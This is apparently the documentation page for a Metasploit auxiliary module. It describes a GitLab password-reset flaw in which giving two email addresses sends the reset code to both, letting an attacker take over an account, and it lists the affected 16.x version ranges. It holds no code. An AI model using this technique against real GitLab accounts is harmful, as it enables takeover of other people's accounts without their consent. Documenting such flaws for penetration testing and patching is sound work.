documentation/modules/auxiliary/admin/http/gitlab_password_reset_account_takeover.md
## Vulnerable Application
This module exploits an account-take-over vulnerability that allows users
to take control of a gitlab account without user interaction.
The vulnerability lies in the password reset functionality. Its possible to provide 2 emails
and the reset code will be sent to both. It is therefore possible to provide the e-mail
address of the target account as well as that of one we control, and to reset the password.
2-factor authentication prevents this vulnerability from being exploitable. There is no
discernable difference between a vulnerable and non-vulnerable server response.
Vulnerable versions include:
* 16.1 < 16.1.6,
* 16.2 < 16.2.9,
* 16.3 < 16.3.7,
* 16.4 < 16.4.5,
* 16.5 < 16.5.6,
* 16.6 < 16.6.4,
* 16.7 < 16.7.2
